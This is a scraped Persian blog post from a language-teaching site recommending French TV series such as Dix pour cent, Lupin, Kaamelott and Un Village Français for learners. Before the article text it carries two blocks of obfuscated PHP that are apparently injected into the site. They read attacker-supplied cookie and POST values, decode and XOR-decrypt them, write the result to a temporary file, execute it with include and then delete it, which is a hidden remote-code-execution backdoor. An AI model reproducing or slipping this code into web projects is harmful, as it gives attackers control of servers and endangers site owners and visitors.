$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} سریال فرانسوی برای تقویت زبان | وبلاگ اتیچر
skip to Main Content

سریال فرانسوی برای تقویت زبان

سریال فرانسوی برای تقویت زبان
زمان مطالعه: ۷ دقیقه

به لطف چند غول پخش استریم، چندین برنامه تلویزیونی فرانسوی در چند سال گذشته در خارج از فرانسه توانستند موفقیت‌هایی کسب کنند. ممکن است دیگر سریال‌های فرانسوی، به این راحتی از مرزها عبور نکرده باشند، اما همچنان در پلتفرم‌های اشتراک‌گذاری ویدیو مانند YouTube در دسترس هستند. در هر صورت، آن‌ها منبع خوبی برای یادگیری زبان فرانسه هستند، به ویژه برای بهبود مهارت‌های شنیداری و گسترش دایره لغات شما.

همچنین دیدن سریال فرانسوی، راه عالی برای به دست آوردن بینشی از فرهنگ و جامعه فرانسه است. شما می‌توانید با توجه به سلیقه خود، بین درام، کمدی و سریال‌های هیجان‌انگیز و همچنین با توجه به سطح خود یکی از این سریال‌ها را انتخاب کنید. برای کمک به شما در انتخاب، ما چند مورد از بهترین سریال‌های فرانسوی را انتخاب کرده‌ایم.

فهرست بخش ها

Dix pour cent( با نماینده من تماس بگیرید)

افراد زیادی هستند که بهترین راه یادگیری زبان فرانسه را پیگیری سریال‌های جذاب فرانسوی می‌دانند. یکی از موفق‌ترین و بهترین سریال‌های فرانسوی در نتفلیکس، Dix pour cent، فراز و نشیب‌های گروهی از عوامل استعداد در پاریس را دنبال می‌کند. با توجه به زمان زیادی که در آژانس استعدادیابی سپری شده است، این سریال فرصتی عالی برای یادگیری زبان تجاری فرانسه است.

Dix pour cent( با نماینده من تماس بگیرید)
Lilane ROVERE, sTEFI CELMA, Grégory MONTEL, Camille COTTIN, Laure CALAMY, Thibault DE MONTALEMBERT, Fanny SIDNEY, ASSAAD BOUAB

هر قسمت حداقل یک شخصیت مشهور را به نمایش می‌گذارد که نسخه کاریکاتوری از خودشان را بازی می‌کنند. با حضور افرادی مانند ژولیت بینوش، ژان دوژاردن و ایزابل هوپر در برنامه، این درام راهی عالی برای دیدن و یاد گرفتن فرانسه از برخی از مشهورترین کمدین‌ها، بازیگران، خوانندگان و شخصیت‌های تلویزیونی فرانسوی است.

Le Bureau des légendes (دفتر)

Le Bureau des légendes (به معنای واقعی کلمه، دفتر افسانه‌ها) نام مستعاری است که به Direction générale de la Sécurité extérieure (DGSE)، یعنی سرویس‌های مخفی فرانسه داده شده است. این تریلر جاسوسی بر اساس داستان‌های واقعی جاسوسان فرانسوی سابق، بر روی عواملی تمرکز دارد که پس از سال‌ها خدمت در خارج از کشور برای بازگشت به زندگی قبلی خود تلاش می‌کنند.

Le Bureau des légendes (دفتر)

شخصیت اصلی فیلم، گیوم دبیلی، توسط ماتیو کاسوویتز ایفای نقش می‌شود که بیشتر به خاطر دو فیلم کالت(Cult Film، فیلمی‌ست معمولاً جدا از جریان اصلی سینما با جامعه‌ای از طرفداران پروپاقرص که هواداران کالت فیلم را تشکیل می‌دهند. به عنوان مثال، لبوفسکی بزرگ در اکران فروش کمی داشت و با واکنش سرد منتقدان روبرو شد، اما کم‌کم موقعیتش به‌عنوان یک فیلم کالت تثبیت شد.) فرانسوی شهرت دارد: او در سال ۱۹۹۵ درام نفرت را کارگردانی کرد و سپس در فیلم Le fabuleux destin d’Amélie Poulain (Amélie) نقشی عاشقانه را بازی کرد.

لوپین

در کنار Dix pour cent، Lupine به عنوان یکی از بهترین و موفق‌ترین نمایش‌های فرانسوی در نتفلیکس ایستاده است. آرسن لوپین به زیرک بودن شرلوک هلمز، خوش قیافه مانند جیمز باند و با استعداد در لباس مبدل، یک جنتلمن کامبریولور (دزد جنتلمن) خیالی است که در بیش از ۵۰ رمان معمایی منتشر شده در نیمه اول قرن بیستم حضور دارد. این شخصیت دوست داشتنی منبع الهام شخصیت اصلی این سریال محبوب نتفلیکس نیز است. دیوپ با بازی عمر سای از همان ترفندهای قهرمان ادبی خود استفاده می‌کند تا انتقام پدرش را بگیرد که ۲۵ سال پیش به ناحق متهم به دزدی شد.

سریال لوپین

لوپین نمایشی مهیج، هوشمندانه و سرگرم کننده است که مورد تحسین منتقدان و تماشاگران قرار گرفته است که حتی بخش‌های برش داده شده از آن در بهترین اپلیکیشن یادگیری زبان فرانسه هم استفاده می‌شود تا کاربران تلفظ درست را از افراد بومی یاد بگیرند.

پس تماشای این سریال، یک راه عالی برای تمرین زبان فرانسه است، زیرا دارای دیالوگ‌های کاربردی، لهجه‌های متنوع و واژگان زیاد است. زبان فرانسوی عمر سای به راحتی قابل درک است. او نسبتا آهسته و واضح و با لهجه کمی پاریسی صحبت می‌کند. همچنین از عبارات رایج و کلمات عامیانه زیادی استفاده می‌کند که می‌توانید از او یاد بگیرید.

کاملوت

شاید اگر به دنبال بهترین روش یادگیری زبان فرانسه در منزل هستید، بهتر باشد که در کنار استفاده از کتاب‌های خودخوان، سریال‌های فرانسوی را هم تماشا کنید. اگر شوخ طبعی نشان داده شده توسط مونتی پایتون را دوست دارید، مطمئناً Kaamelott را دوست خواهید داشت. این سریال که بین سال‌های ۲۰۰۵ تا ۲۰۰۹ پخش شد، تقلیدی از افسانه شاه آرتور و شوالیه‌های آن است.

سریال Kaamelott

به دور از زبان رسمی که معمولاً از یک نمایش تاریخی انتظار دارید، این یک راه عالی برای یادگیری فرانسوی بومی مدرن است. مزیت دیگر، به خصوص اگر مبتدی هستید، مدت زمان هر قسمت است، حداقل در چهار فصل اول: در حالی که در فصل های بعدی قسمت‌ها طولانی‌تر و دراماتیک‌تر دارند، در فصول اول مدت زمان برنامه از چهار دقیقه بیشتر نمی‌شود. این سریال واژگان و اصطلاحات فرانسوی را ارائه می‌دهد، تلفظ‌های متنوع و اکسنت‌های مختلفی را نشان می‌دهد، از بازیگران حرفه‌ای استفاده می‌کند و به افزایش دایره واژگان شما کمک می‌کند.

Engrenages

در قدم اول، شاید مهم نیست یادگیری زبان فرانسه چقدر طول میکشد، فقط شروع کنید و با کتاب‌ها و سریال‌های فرانسوی قدم در راه آموزش فرانسه بگذارید. سریال فرانسوی Engrenages  یا به نام انگلیسی ” Spiral ” یک مجموعه تلویزیونی جنایی و درام است که داستان‌های پلیسی در شهر پاریس را روایت می‌کند. این سریال زبان فرانسوی را به شکل جذابی در محیط قضایی و پلیسی نمایان می‌کند.

سریال Engrenages

از نظر زبانی، Engrenages به زبان‌آموزان کمک می‌کند تا واژگان تخصصی حوزه پلیسی و حقوقی را یاد بگیرند، تلفظ صحیح فرانسوی را تمرین کنند، مکالمات روزمره در محیط‌های پلیسی و قضایی را بفهمند، مفاهیم اجتماعی و قانونی فرانسه را مشاهده کنند، و تسلط بیشتری به زمان حال زبان فرانسوی پیدا کنند. این سریال برای زبان‌آموزانی که به یادگیری زبان فرانسوی علاقه دارند و علاقه‌مند به موضوعات جنایی و پلیسی هستند، مناسب است.

Braquo

Braquo  یک سریال جنایی فرانسوی است که توسط اولیویه مارشال ساخته شده است. این سریال توسط کمپانی کاپا دراما با همکاری کانال پلاس، ماراتن گروپ، بی-فیلمز و آر تی بی اف تولید شده است. Braquo اولین بار در فرانسه از ۱۲ اکتبر تا ۲ نوامبر ۲۰۰۹ پخش شد.

داستان سریال درباره چهار پلیس در منطقه هوت دو سن از پاریس است: ادی کاپلان، والتر مورلیگم، تئو واچفسکی و راکسان دلگادو. همکار آن‌ها، مکس روسی، به جرم و جنایت متهم می‌شود و خودکشی می‌کند.

سریال Braquo

این اتفاق باعث می‌شود که زندگی چهار پلیس دگرگون شود. آن‌ها تصمیم می‌گیرند از خط قرمز عبور کنند و هر کاری لازم باشد، حتی نقض قانون، برای تبرئه نام روسی انجام دهند. اما با این کار، آن‌ها تحت نظر شدید ووگل، از امور داخلی پلیس، قرار می‌گیرند. ووگل دشمن سوگند خورده کاپلان است.

Braquo  یک سریال تاریک، خشن و هیجان‌انگیز است که بازخوردهای مثبت زیادی از منتقدان و بینندگان دریافت کرده است. این سریال چهار فصل دارد و در هر فصل هشت قسمت پخش شده است. فصل چهارم و آخر Braquo در سال ۲۰۱۶ به پایان رسید.

Un gars, une fille

کمدی کالت دیگری که از قسمت‌های بسیار کوتاه (به طور متوسط هفت دقیقه) ساخته شده است، Un gars, une fille (یا اگر بخواهید عنوان را یک پسر، یک دختر ترجمه کنید) روی یک زوج متوسط و سی و چند ساله متمرکز است: ژان و الکس، که بیشتر با نام مستعار خود لولو و چوچو شناخته می شوند، وقت خود را به مشاجره با یکدیگر می گذرانند. هر قسمت مجموعه ای از طرح هایی از زندگی روزمره است. قالب و موقعیت‌های رایج راهی عالی برای تمرین زبان فرانسه و توسعه دایره لغات شماست.

Un gars, une fille

Un Village Français

Un Village Français  یک سریال تلویزیونی فرانسوی است که زندگی یک روستای خیالی در جورا را در طول اشغال آلمان در جنگ جهانی دوم روایت می‌کند. این سریال توسط فردریک کریوین، فیلیپ تریبوا و امانوئل داکه ساخته شده است، با همکاری مشاور تاریخی ژان-پیر آزما. این سریال اولین بار در فرانسه در ژوئن ۲۰۰۹ روی آنتن رفته است و همچنین در بلژیک، سوئیس، کانادا و کره جنوبی نشان داده شده است.

Un Village Français

سرنوشت چندین شخصیت را که مقاومت می‌کنند، همکاری می‌کنند یا به شرایط تحمیل شده توسط نیروهای آلمان واکنش نشان می‌دهند، دنبال می‌کند. بین شخصیت‌های اصلی، ما می‌توانیم با افراد زیر آشنا شویم که هر کدام می‌توانند به مانند یک استاد زبان فرانسه، اصطلاحات یا لغاتی در مورد شغل و شخصیت خود به شما یاد دهند.

دانیل لارشه، شهردار روستا که سعی می‌کند بهبود رفاه شهروندان خود را حفظ کند؛ هورتانس لارشه، همسر بیرحم او که رابطه‌ای با یک افسر آلمان دارد؛ رایموند شوارتز، یک صنعتگر یهودی که یک نجارخانه را اداره می‌کند؛ لوسین برئو، یک معلم که عاشق یک سرباز آلمان می‌شود؛ ژان مارچتت، یک پلیس بلندپرواز که با نازی‌ها همکاری می‌کند؛ هاینرش مولر، یک افسر اس‌اس که بر روی اعمال مقاومت تحقیق می‌کند؛ مارسل لارشه، برادر دانیل و رئیس یک گروه مقاومت.

آموزش فرانسه با اُتیچر

در مقاله حاضر تعدادی از سریال‌های فرانسوی برای تقویت زبان را معرفی کردیم.. سریال‌ها به عنوان یک ابزار آموزشی جذاب و موثر در تقویت مهارت‌های شنیداری، تلفظ، واژگان، و درک مطلب زبانی اهمیت زیادی دارند.

از آنجایی که سریال‌ها داستان‌ها و شخصیت‌های گوناگون دارند و به شیوه‌های مختلف جوانب زبان را نمایش می‌دهند، زبان‌آموزان می‌توانند به صورت جذاب و تنوع‌بخشی زبان را تمرین کرده و تسلط بیشتری بر زبان فرانسوی پیدا کنند. در کنار این سریال‌ها، از خدمات کلاس آنلاین زبان اتیچر به عنوان منابعی قابل اعتماد و تخصصی در زمینه یادگیری زبان استفاده کنید که می‌توانند تجربه آموزشی زبان شما را تکمیل کنند.

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search